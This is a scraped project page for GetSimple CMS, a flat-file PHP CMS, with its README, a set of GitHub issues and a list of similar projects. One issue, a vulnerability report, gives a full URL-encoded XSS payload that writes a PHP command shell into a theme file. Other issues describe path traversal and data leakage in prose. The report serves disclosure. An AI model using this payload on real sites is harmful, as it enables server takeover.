GetSimple CMS - a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP

Last update: May 12, 2022

GetSimple Content Management System

DESCRIPTION

GetSimple CMS is a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP.

Official Website - http://get-simple.info/ Github - https://github.com/GetSimpleCMS/GetSimpleCMS

GetSimple CMS was developed by Chris Cagle [ http://chriscagle.me ]
It is now passionately supported and developed by a loving community.

LICENSE

This software package is licensed under the GNU GENERAL PUBLIC LICENSE v3.
LICENSE.txt is located within this download's zip file

It would be great if you would link back to get-simple.info if you use it.

REQUIREMENTS

http://get-simple.info/docs/requirements

Build Requirements

PHP 5.2+

PHP Required Extensions

SimpleXML
xml
json
dom

curl (optional)
gd (optional)

Browser Requirements

Javascript Enabled

Server

*Apache ( required for out of the box security using .htaccess )

*If not using Apache you will get a non-apache warning, this warning is to alert you that your data files will not be secure and you must take proper precautions to secure your site.
To disable this warning see gsconfig definition GSNOAPACHECHECK

INSTALLATION

Please see: http://get-simple.info/docs/installation

UPGRADING

Please see: http://get-simple.info/docs/upgrading

DISCLAIMER

While GetSimple strives to be a secure and stable application, we simply cannot be held liable for any information loss, corruption or anything else that may happen to your site while it is using the our software.

If you find a bug or security hole, please contact someone in the forums at
http://get-simple.info/forum

CREDITS

TEAM

Founder / Creator: Chris Cagle
Forum Handle: ccagle8
Site: http://get-simple.info/forums/member.php?action=profile&uid=3
Twitter: @ccagle8
Location: Pittsburgh, Pennsylvania, USA

Lead Developer: Shawn Alverson
Forum Handle: shawn_a
Site: http://get-simple.info/forums/member.php?action=profile&uid=1878
Location: Tennessee, USA

THANKS

Mike Swan (n00dles)
Carlos Navarro (cnb)
Joshas
Connie Connie Müller-Gödecke (Connie)
Thorsten Panknin (polyfragmented)
Mike Henken (MikeH)
Martijn van der Ven (Zegnåt)
...and the countless others on the forums and SVN that help us make this amazing product possible.

Libraries

company logos in the icons are copyright of their respective owners

Vector Social Media Icons
http://icondock.com/free/vector-social-media-icons

Ckeditor
http://ckeditor.com/

jcrop
http://deepliquid.com/content/Jcrop.html

marijnh/CodeMirror
http://codemirror.net/

fancybox
https://github.com/fancyapps/fancyBox

rgrove/lazyload
https://github.com/rgrove/lazyload

enyo/dropzone
https://github.com/enyo/dropzone

fontawesome
http://fontawesome.io/

bigspotteddog/scrolltofixed
https://github.com/bigspotteddog/ScrollToFixed

dropzonejs
http://www.dropzonejs.com/


GetSimple CMS - http://get-simple.info/

GitHub

https://github.com/getsimplecms/getsimplecms
Comments
  • 1. Allow localized date formats

    Original author: ccagle8 (November 03, 2010 03:40:31)

    http://get-simple.info/forum/topic/1103/strtotime-instead-of-strftime-function/

    looks like we need to use iconv in basic.php where we output the date in both long and short format

    Original issue: http://code.google.com/p/get-simple-cms/issues/detail?id=85

    Reviewed by n00dles at 2012-11-02 18:56
  • 2. Next Release

    I would like to start planning the next release and figure out if we are going to just cut everything we have done since 3.1.2 into 3.1.3.

    There are no critical security or bugfixes I know of so i am fine with that, provided we beta it a bit.

    We can create a milestone, and create any features or bugs we have to get into it.

    We can start with the release notes, the changelist is below, we can copy it and clean it up and add the issue notes to the individual issues. Or maye i can wrtie something to grab all this togather automatically.

    https://github.com/GetSimpleCMS/GetSimpleCMS/compare/v3.1.2...master

    Start using our wiki for the output perhaps. And to detail any new functions or functionality we added etc.

    Reviewed by tablatronix at 2012-11-14 14:34
  • 3. Adding tabbed interfaces to admin theme

    We need tabs in admin pages. How should we implement them ? from scratch using css or using jquery-ui tabs ?

    Thoughts.

    For example in pages, pages options get larger and larger, we need tabs so we can add, history, meta, options, backups, drafts.

    Reviewed by tablatronix at 2013-01-27 18:31
  • 4. Sitemap hooks broken, New filter added

    I think there was no issue for this, so: http://get-simple.info/forums/showthread.php?tid=3056

    More comments about this here: http://get-simple.info/forums/showthread.php?tid=2624&pid=23591#pid23591

    Reviewed by cnb at 2012-11-03 16:45
  • 5. page manager tree

    • [x] rewritten tree renderer get_pages_menu
    • [x] js tree folding
    • [x] collapse / expand top ancestors
    • [x] save state
    • [x] disable able, fall back to standard indentation with no js
    • [x] pure css indentation and expanders
    • custom , lightweight , optimized, possibly ported to other tree usage in core
    • uses no recursion, level-order walking
    • requires only depth and parent markers on nodes, extremely fast to generate lists

    500 page lists are rendered in 350ms plus js, can probably eventually be cached, and allow multiple hierarchies to be applied. Improvements over previous pages render code is about 30-90% faster depending on page set size. A small step in resolving larger sites issues and over 1 second admin pages load times. Should be able to reasonable handle several thousand pages without core modification. Of course there is more work here for pagination, menu organization etc. #516

    I can probably add some checks to avoid js generation of expanders etc if they are pre populated in html. Right now its all done in js for ease of implementation and portability.

    Reviewed by tablatronix at 2014-04-01 16:56
  • 6. SECURITY ISSUE 3.1.2 maybe earlier

    wow I tried to find this exact exploit and somehow missed it.

    POST['LANG'] is the most common damn code insertion path traversal vulnerability. and we have it with no sanitation whatsoever.

    http://packetstormsecurity.com/files/119298

    Reviewed by tablatronix at 2013-01-09 17:53
  • 7. get_Page_Excerpt refactor

    1832604ea7da7773ad4f0aa3244d4e4ea03e00e4 (974dad0948a69bd47e455d35107105e78da030af da00eef8a78c0633f384d103b8219fa8d7b59f71) #736

    replaced this with abstracted function for truncating any string

    /**
    *  getExcerpt
     * Get String Excerpt
     *
     * @since 3.3.2
     *
     * @uses mb_strlen
     * @uses mb_strrpos
     * @uses mb_substr
     * @uses strip_tags
     * @uses strIsMultibyte
     *
     * @param string $n Optional, default is 200.
     * @param bool $striphtml Optional, default true, true will strip html from $content
     * @param string $ellipsis Optional, Default '...', specify an ellipsis
     * @return string
     */
    

    Will break on last word boundary to prevent splitting words. This probably needs to be smarter and add features to make it useful, right now it is not that reliable.

    We allow not stripping html tags which allows for open tags and broken html. This is a bug to me.

    • [ ] ~~prevent splitting on html tags~~ , probably unnecessary, cleaning html, to auto close tags, will also remove non matched end tags
    • [x] auto close html tags so it is actually safe to use rich excerpts, I have a solution for this
    • [x] no breaking ( force split where I say so )
    • [x] default to strip tags ( not the opposite )
    • [ ] filter ?
    • [x] handle unicode word boundaries properly, not just ascii spaces
    Reviewed by tablatronix at 2014-03-20 17:50
  • 8. Problem with index sub pages

    1. Create sub page for index page.
    2. Turn on FancyURLs with %parent%/%slug%/ pattern.

    Now created sub page has an address http://site-url/index/sub-page/

    Navigate to it and you will get index page, not sub page.

    Reviewed by dimayakovlev at 2015-07-26 14:53
  • 9. SECURITY exposure of data

    Front end data leakage.

    I can probe for valid files, and easily bypass the front end path traversal id filtering.

    I can probe for valid usernames based on the 404 or not. Fortunately we are loading in xml from this and not directly exposing any, but its just a matter of time before I find a way to output some other data from any other file.

    Since I can force the file to actually be read anywhere in the filesystem, I can probably trip this up with certain plugins to expose the actual data in the file. I do not have a proof for that yet.

    Reviewed by tablatronix at 2013-01-26 17:43
  • 10. Processing content before template include

    IMHO, content must be processed before including template (мaybe with index-pretemplate hook). This gives more flexibility in the use of shortcodes in page content. Now shortcodes have no access to page header, and they cannot add required stuff into it (CSS, JavaScript, tags).

    Reviewed by dimayakovlev at 2016-04-06 06:15
  • 11. Page 'Meta Description' contains Style/Script declarations

    If a page has no 'Meta Description' set and GSAUTOMETAD is true, then any page which contains inline <style></style> tags will pollute the 'Meta Description' with CSS declarations. The same situation applies with <script></script> tags.

    This occurs because strip_tags() is called on the description which removes the tags, but not the declarations therein. A solution might be to remove the contents of the tags before calling strip_tags.

    This could be archeived by using preg_replace or preg_match, but this is not the most reliable solution. So, I suggest the following changes to the code; it uses the DOMDocument class to handle the removal of the script and style tags before it has strip tags applied to it:

    Before:

        // meta description from v3.3.5
        if ($metad != '') {
            $description = get_page_meta_desc(FALSE);
        } 
        else if(getDef('GSAUTOMETAD',true))
        {
            // get meta from content excerpt
            if (function_exists('mb_substr')) { 
                $description = trim(mb_substr(strip_tags(strip_decode($content)), 0, 160));
            } else {
                $description = trim(substr(strip_tags(strip_decode($content)), 0, 160));
            }
    
            $description = str_replace('"','', $description);
            $description = str_replace("'",'', $description);
            $description = preg_replace('/\n/', " ", $description);
            $description = preg_replace('/\r/', " ", $description);
            $description = preg_replace('/\t/', " ", $description);
            $description = preg_replace('/ +/', " ", $description);
        }
    
        if(!empty($description)) echo '<meta name="description" content="'.$description.'" />'."\n";
    

    After

      // New Meta Description
      if (!empty($metad)) 
      {
        $description = get_page_meta_desc(false);
      }
      elseif (getDef('GSAUTOMETAD',true)) 
      {
        # Generate Meta Description from content excerpt
        # Updated to handle 'script' & 'style' tags by also removing their content.
        # @uses: DOMDocument | @modifies: $description
        # Written 2015-06-03 04:00am by GitHub: johnstray
        $dom = new DOMDocument('1.0','UTF-8');
        $dom->loadHTML($description);
        $scripts = $dom->getElementsByTagName('script');
        $styles = $dom->getElementsByTagName('style');
        while ( ($node = $scripts->item(0)) || ($node = $styles->item(0)) ) {
            $node->parentNode->removeChild($node);
        }
    
        // Replace multipe preg_replace() with single containing '\s' (white-space)
        // The covers all the previous \n, \r & \t replacements
        $description = preg_replace('/\s+/', ' ', trim(strip_tags($dom->saveHTML())));
        $description = str_replace('"','', str_replace("'",'', $description));
      }
      if(!empty($description)) echo '<meta name="description" content="'.$description.'" />'."\n";
    
    Reviewed by johnstray at 2015-06-02 18:59
  • 12. Increase the usage of expressions with combined operators

    :eyes: Some source code analysis tools can help to find opportunities for improving software components. :thought_balloon: I propose to increase the usage of combined operators accordingly.

    diff --git a/admin/inc/ZipArchive.php b/admin/inc/ZipArchive.php
    index 22db69ad..1d83a269 100644
    --- a/admin/inc/ZipArchive.php
    +++ b/admin/inc/ZipArchive.php
    @@ -175,7 +175,7 @@ class ZipArchive  {
     		//create temp dir
     		$tempDir = sys_get_temp_dir();
     		if( $tempDir[strlen($tempDir)-1] != DIRECTORY_SEPARATOR ){
    -			$tempDir = $tempDir . DIRECTORY_SEPARATOR;
    +			$tempDir .= DIRECTORY_SEPARATOR;
     		}
     		$this->tempDirPath =  $tempDir.__CLASS__. uniqid();
     		if( @mkdir($this->tempDirPath) !== true ) {
    diff --git a/admin/inc/assets.php b/admin/inc/assets.php
    index 43321664..6cb2a648 100644
    --- a/admin/inc/assets.php
    +++ b/admin/inc/assets.php
    @@ -378,7 +378,7 @@ function queue_script($handle,$where){
             }
     
             $GS_scripts[$handle]['load']  = true;
    -        $GS_scripts[$handle]['where'] = $GS_scripts[$handle]['where'] | $where;
    +        $GS_scripts[$handle]['where'] |= $where;
       }
     }
     
    @@ -396,7 +396,7 @@ function dequeue_script($handle, $where){
       global $GS_scripts;
       if (array_key_exists($handle, $GS_scripts)){
         $GS_scripts[$handle]['load']  = false;
    -    $GS_scripts[$handle]['where'] = $GS_scripts[$handle]['where'] & ~ $where;
    +    $GS_scripts[$handle]['where'] &= ~ $where;
       }
     }
     
    @@ -491,7 +491,7 @@ function queue_style($handle,$where = 1){
         }
     
         $GS_styles[$handle]['load'] = true;
    -    $GS_styles[$handle]['where'] = $GS_styles[$handle]['where'] | $where;
    +    $GS_styles[$handle]['where'] |= $where;
       }
     }
     
    @@ -509,7 +509,7 @@ function dequeue_style($handle,$where){
       global $GS_styles;
       if (array_key_exists($handle, $GS_styles)){
         $GS_styles[$handle]['load'] = false;
    -    $GS_styles[$handle]['where'] = $GS_styles[$handle]['where'] & ~$where;
    +    $GS_styles[$handle]['where'] &= ~$where;
       }
     }
     
    diff --git a/admin/inc/basic.php b/admin/inc/basic.php
    index c970df7f..7ad5371d 100644
    --- a/admin/inc/basic.php
    +++ b/admin/inc/basic.php
    @@ -547,7 +547,7 @@ function createPageXml($title, $url = null, $data = array(), $overwrite = false)
     	// If overwrite is false do not use existing slugs, get next incremental slug, eg. "slug-count"
     	if ( !$overwrite && (file_exists(GSDATAPAGESPATH . $url .".xml") ||  in_array($url,$reservedSlugs)) ) {
     		list($newfilename,$count) = getNextFileName(GSDATAPAGESPATH,$url.'.xml');
    -		$url = $url .'-'. $count;
    +		$url .= '-'. $count;
     		// die($url.' '.$newfilename.' '.$count);
     	}
     
    diff --git a/admin/inc/caching_functions.php b/admin/inc/caching_functions.php
    index ab84c4a6..8b8ad5a9 100644
    --- a/admin/inc/caching_functions.php
    +++ b/admin/inc/caching_functions.php
    @@ -273,7 +273,7 @@ function fixupPageFilenames($path,$file,$id,$pageXml){
     	// get slug from filename and increment if exists
     	// if(file_exists(GSDATAPAGESPATH . $id .".xml")){
     	// 	list($id,$count) = getNextFileName(GSDATAPAGESPATH,$id.'.xml');
    -	// 	$id = $id .'-'. $count;
    +	// 	$id .= '-'. $count;
     	// }
     	debugLog(__FUNCTION__ . ' ' .$id . ' -> ' . $file);
     	backup_datafile(GSDATAPAGESPATH.$file);
    diff --git a/admin/inc/imagemanipulation.php b/admin/inc/imagemanipulation.php
    index 2b776791..f9cbdb17 100644
    --- a/admin/inc/imagemanipulation.php
    +++ b/admin/inc/imagemanipulation.php
    @@ -114,15 +114,15 @@ class ImageManipulation {
     		$cropsize = 0;
     
     		if($this->crop == true){
    -			// $size = $size*2;
    +			// $size *= 2;
     			list($image_width,$image_height) = $this->getCropSize();
     			$cropsize += round( ($image_width * $image_height * ($image_bits * $image_channels) / 8) );
     		}
     
     		// print_r('src:'.toBytesShorthand($size,'m',true)."<br>");
     		// print_r('crop:'.toBytesShorthand($cropsize,'m',true)."<br>");
    -		$size = $size + $cropsize;
    -		return $size = $size * $adjust;
    +		$size += $cropsize;
    +		return $size *= $adjust;
     	}
     
         /**
    diff --git a/admin/inc/template_functions.php b/admin/inc/template_functions.php
    index 170ee4ad..ca0d4b63 100644
    --- a/admin/inc/template_functions.php
    +++ b/admin/inc/template_functions.php
    @@ -405,7 +405,7 @@ function clone_page($id){
     	$newxml = getPageXML($id);
     	$newurl = getFileName($cloneurl);
     	$newxml->url = getFileName($cloneurl);
    -	$newxml->title = $newxml->title.' ['.sprintf(i18n_r('COPY_N',i18n_r('COPY')),$count).']';
    +	$newxml->title .= ' ['.sprintf(i18n_r('COPY_N',i18n_r('COPY')),$count).']';
     	$newxml->pubDate = date('r');
     	$status = XMLsave($newxml, GSDATAPAGESPATH.$cloneurl);
     	if($status) return $newurl;
    @@ -926,7 +926,7 @@ function get_link_menu_array($parent='', $array=array(), $level=0) {
     		foreach ($items as $page) {
     		  	$dash="";
     		  	if ($page['parent'] != '') {
    -	  			$page['parent'] = $page['parent']."/";
    +	  			$page['parent'] .= "/";
     	  		}
     			for ($i=0;$i<=$level-1;$i++){
     				if ($i!=$level-1){
    @@ -1025,7 +1025,7 @@ function getPagesRow($page,$level,$index,$parent,$children){
     	// add expanders in php
     	// $expander = '<span class="tree-expander tree-expander-expanded"></span>';
     	// $expander = $isParent ? $expander : '<span class="tree-indent"></span>';
    -	// $indentation = $indentation . $expander;
    +	// $indentation .= $expander;
     
     	// depth level identifiers
     	$class  = 'depth-'.$level;
    @@ -1255,7 +1255,7 @@ function get_pages_menu($parent = '',$menu = '',$level = '') {
     			 $depth = $page['depth']; continue;
     			}	
     			else if(($page['depth'] == $depth)) return $menu; // we are back to starting depth so stop
    -			$level = $level - ($depth+1);
    +			$level -= $depth + 1;
     		}	
     
     		// provide special row if this is a missing parent
    @@ -1300,7 +1300,7 @@ function get_pages_menu_dropdown($parentitem, $menu, $level, $id = null, $idleve
     		  	$dash="";
     
     		  	if ($page['parent'] != '') {
    -	  			$page['parent'] = $page['parent']."/";
    +	  			$page['parent'] .= "/";
     	  		}
     
     			for ($i=0;$i<=$level-1;$i++){
    diff --git a/admin/theme-edit.php b/admin/theme-edit.php
    index fb89e51f..0670036a 100644
    --- a/admin/theme-edit.php
    +++ b/admin/theme-edit.php
    @@ -210,7 +210,7 @@ function editor_array2ul($array, $hideEmpty = true, $recurse = true) {
     		}
     	}
     
    -	$out=$out."</ul>";
    +	$out .= "</ul>";
     	return $out;
     }
     
    diff --git a/admin/upload.php b/admin/upload.php
    index 0b2e7dda..1e878828 100644
    --- a/admin/upload.php
    +++ b/admin/upload.php
    @@ -227,7 +227,7 @@ $isUnixHost = !hostIsWindows();
     						$ss = @stat($path . $file);
     						$filesArray[$count]['date'] = @date('M j, Y',$ss['ctime']);
     						$filesArray[$count]['size'] = fSize($ss['size']);
    -						$totalsize = $totalsize + $ss['size'];
    +						$totalsize += $ss['size'];
     						$count++;
     					}
     				}
    
    Reviewed by elfring at 2021-11-26 09:18
  • 13. get_magic_quotes_gpc() deprecited in PHP 7.4 and removed in PHP 8.0

    (Running under PHP 8.0) When logging in to the admin backend, the following php error occurs...

    Fatal error: Uncaught error: Call to undefined function get_magic_quotes_gpc() in /admin/inc/basic.php:1461

    Quoting from the PHP.net manual for get_magic_quotes_qpc():

    "Warning This function has been DEPRECATED as of PHP 7.4.0, and REMOVED as of PHP 8.0.0. Relying on this function is highly discouraged.

    Further information relating to this, plus a possible workaround can be found in this StackOverflow question

    The StackOverflow question above suggests to use mysql_real_escape_string(), however this has also been depreciated in PHP 5.5.0 and removed in PHP 7.0.0, resulting in basically the same fatal php error. My suggestion instead is the code below, tested to work on PHP 8.0.0 with GS v3.4.0.9-alpha :

    /**
     * Safe AddSlashes HTML
     *
     * @since 2.04, 3.4.0
     * @author ccagle8, johnstray
     *
     * @param string $text
     * @return string
     */
    function safe_slash_html ( $text ) {
        $text = addslashes( htmlspecialchars( $text, ENT_QUOTES, 'UTF-8' ) );
        return xmlFilterChars( $text );
    }
    
    Reviewed by johnstray at 2021-08-26 18:35
  • 14. Trying to get in touch regarding a security issue

    Hi there,

    I couldn't find a SECURITY.md in your repository and am not sure how to best contact you privately to disclose a security issue.

    Can you add a SECURITY.md file with an e-mail to your repository, so that our system can send you the vulnerability details? GitHub suggests that a security policy is the best way to make sure security issues are responsibly disclosed.

    Once you've done that, you should receive an e-mail within the next hour with more info.

    Thanks! (cc @huntr-helper)

    Reviewed by JamieSlome at 2021-07-16 10:35
  • 15. Reflected Cross-Site Scripting (XSS) leads to RCE in GetSimple CMS v3.3.16 in 'admin/theme.php'

    An XSS that leads to RCE is found at theme.php

    Exploit URL: http://example.com/admin/theme.php/XSS/javascript:alert(1);%252f%252f%252f%252f

    An attacker can make request using XSS to theme-edit.php to add malicious php code that leads to RCE.

    RCE Payload:

    http://example.com/admin/theme.php/XSS/javascript:var%20s%3DdecodeURIComponent%28%22%252f%22%29%3Bvar%20h%3D%22application%22%2Bs%2B%22x-www-form-urlencoded%22%3Bvar%20e%3Dfunction%28i%29%7Breturn%20encodeURIComponent%28i%29%7D%3Bvar%20u1%3Ds%2B%22admin%22%2Bs%3Bvar%20u2%3Du1%2B%22theme-edit.php%22%3Bvar%20xhr1%3Dnew%20XMLHttpRequest%28%29%3Bvar%20xhr2%3Dnew%20XMLHttpRequest%28%29%3Bxhr1.onreadystatechange%3Dfunction%28%29%7Bif%28xhr1.readyState%3D%3D4%26%26xhr1.status%3D%3D200%29%7Br%3Dthis.responseXML%3BnVal%3Dr.querySelector%28%22%23nonce%22%29.value%3BeVal%3Dr.forms%5B1%5D%5B2%5D.defaultValue%3Bxhr2.open%28%22POST%22%2Cu2%2Ctrue%29%3Bxhr2.setRequestHeader%28%22Content-Type%22%2Ch%29%3Bpayload%3De%28%22%3C%3Fphp%20passthru%28%24_GET%5Bcmd%5D%29%20%3F%3E%22%29%3Bparams%3D%22nonce%3D%22%2BnVal%2B%22%26content%3D%22%2Bpayload%2B%22%26edited_file%3D%22%2BeVal%2B%22%26submitsave%3DSave%2BChanges%22%3Bxhr2.send%28params%29%7D%7D%3Bxhr1.open%28%22GET%22%2Cu2%2Ctrue%29%3Bxhr1.responseType%3D%22document%22%3Bxhr1.send%28%29%3B%252f%252f%252f%252f
    

    Note: An Attacker Send the Malicious URL to authenticated User as soon as victim click the "Activate Theme" Button RCE Payload will be executed.

    After Victim Click the Buttom, Attacker can execute system command from http://example.com/index.php?cmd=id

    Reviewed by Vanshal at 2021-06-25 06:04
ExpressionEngine is a flexible, feature-rich, free open-source content management platform that empowers hundreds of thousands of individuals and organizations around the world to easily manage their web site.
ExpressionEngine is a flexible, feature-rich, free open-source content management platform that empowers hundreds of thousands of individuals and organizations around the world to easily manage their web site.

ExpressionEngine CMS ExpressionEngine is a mature, flexible, secure, free open-source content management system. It is beloved by designers for giving

May 11, 2022
Bedrock is a modern WordPress stack that helps you get started with the best development tools and project structure.
Bedrock is a modern WordPress stack that helps you get started with the best development tools and project structure.

WordPress boilerplate with modern development tools, easier configuration, and an improved folder structure

May 20, 2022
Best logging support into Nette Framework (@nette)
Best logging support into Nette Framework (@nette)

Website ?? contributte.org | Contact ????‍?? f3l1x.io | Twitter ?? @contributte Usage To install the latest version of contributte/monolog use Compose

Jan 29, 2022
A flexible and fast Cms built with Symfony and Vuejs.
A flexible and fast Cms built with Symfony and Vuejs.

GreenCheap CMS A modular and lightweight CMS made with Symfony and Vuejs components GreenCheap works with PHP 8 version. In this case, lower versions

Apr 30, 2022
Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS

Grav Grav is a Fast, Simple, and Flexible, file-based Web-platform. There is Zero installation required. Just extract the ZIP archive, and you are alr

May 19, 2022
Azuriom is a modern, reliable, fast and secure game CMS.
Azuriom is a modern, reliable, fast and secure game CMS.

Azuriom Azuriom is the next generation game CMS, it's free and open-source, and is a modern, reliable, fast and secure alternative to existing CMS so

May 19, 2022
Azuriom - a modern, reliable, fast and secure game CMS.
Azuriom - a modern, reliable, fast and secure game CMS.

Azuriom is the next generation game CMS, it's free and open-source, and is a modern, reliable, fast and secure alternative to existing CMS so you can have the best web experience possible.

May 5, 2022
Pico is a stupidly simple, blazing fast, flat file CMS.
Pico is a stupidly simple, blazing fast, flat file CMS.

Pico Pico is a stupidly simple, blazing fast, flat file CMS. Visit us at http://picocms.org/ and see http://picocms.org/about/ for more info. Screensh

May 25, 2022
Pico is a stupidly simple, blazing fast, flat file CMS.
Pico is a stupidly simple, blazing fast, flat file CMS.

Pico is a stupidly simple, blazing fast, flat file CMS.

May 23, 2022
Pico is a stupidly simple, blazing fast, flat file CMS.
Pico is a stupidly simple, blazing fast, flat file CMS.

Pico is a stupidly simple, blazing fast, flat file CMS.

May 24, 2022
Baicloud CMS is a lightweight content management system (CMS) based on PHP and MySQL and running on Linux, windows and other platforms

BaiCloud-cms About BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the

Feb 2, 2022
Bootstrap CMS - PHP CMS powered by Laravel 5 and Sentry
Bootstrap CMS - PHP CMS powered by Laravel 5 and Sentry

Bootstrap CMS Bootstrap CMS was created by, and is maintained by Graham Campbell, and is a PHP CMS powered by Laravel 5.1 and Sentry. It utilises many

May 10, 2022
PHPDish is a powerful forum system written in PHP. It is based on the Symfony PHP Framework.
PHPDish is a powerful forum system written in PHP. It is based on the Symfony PHP Framework.

PHPDish 是一个基于Symfony框架开发的内容社区系统;得益于大量的前端以及后端的第三方类库的使用使得PHPDish有着高质量的代码,敏捷实现; 你可以使用composer或者直接下载本仓库进行程序的安装,注意切换到tag。 PHPDish 开发手册以及详细安装文档 Requirements

Jan 19, 2022
PHPDish is a powerful forum system written in PHP. It is based on the Symfony PHP Framework.
PHPDish is a powerful forum system written in PHP. It is based on the Symfony PHP Framework.

PHPDish 是一个基于Symfony框架开发的内容社区系统;得益于大量的前端以及后端的第三方类库的使用使得PHPDish有着高质量的代码,敏捷实现; 你可以使用composer或者直接下载本仓库进行程序的安装,注意切换到tag。

Jan 19, 2022
Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS
Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS

Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS. Building this Content Management System, we focused on simplicity. To achieve this, we implemented a simple but powerful API's.

May 18, 2022
May 9, 2022
BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the project website for more information.

BaiCloud-cms About BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the

Feb 2, 2022
PressDoWiki - Fast & Light PHP Wiki Engine

PressDoWiki - Fast & Light PHP Wiki Engine 이 위키는 현재 제작 중입니다. Currently in development. the seed와 최대한 유사하게 구현하는 것을 목표로 하고 있는 PHP 위키 엔진입니다. 요구 사항 (Requi

Feb 5, 2022